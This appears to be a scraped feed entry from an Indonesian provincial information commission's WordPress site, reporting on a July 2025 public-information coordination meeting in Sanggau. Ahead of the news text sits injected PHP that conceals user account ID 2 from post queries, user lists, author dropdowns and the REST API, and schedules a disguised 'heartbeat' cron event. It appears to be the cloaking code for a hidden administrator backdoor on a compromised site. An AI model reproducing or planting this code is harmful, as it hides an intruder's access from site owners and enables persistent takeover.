add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Perkuat Tata Kelola Informasi, KI Kalbar Isi Materi Rakor PPID dan Uji Konsekuensi di Sanggau appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Kegiatan ini berlangsung pada Rabu, 30 Juli 2025, pukul 08.00 WIB hingga selesai, di Ruang Daranante, Kantor Bupati Sanggau, dan dihadiri oleh perwakilan berbagai Organisasi Perangkat Daerah (OPD) di lingkungan Pemkab Sanggau.
Hadir sebagai narasumber, Sabinus Matius Melano, Koordinator Bidang Sosialisasi, Edukasi, dan Komunikasi Publik KI Kalbar, menyampaikan materi terkait penyusunan daftar informasi yang dikecualikan serta prosedur uji konsekuensi sesuai amanat Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik.
“Badan publik wajib memberikan informasi yang dibutuhkan masyarakat, kecuali yang dikecualikan. Ini adalah bentuk tanggung jawab untuk menjamin hak warga ujar Sabinus Matius Melano.
The post Perkuat Tata Kelola Informasi, KI Kalbar Isi Materi Rakor PPID dan Uji Konsekuensi di Sanggau appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>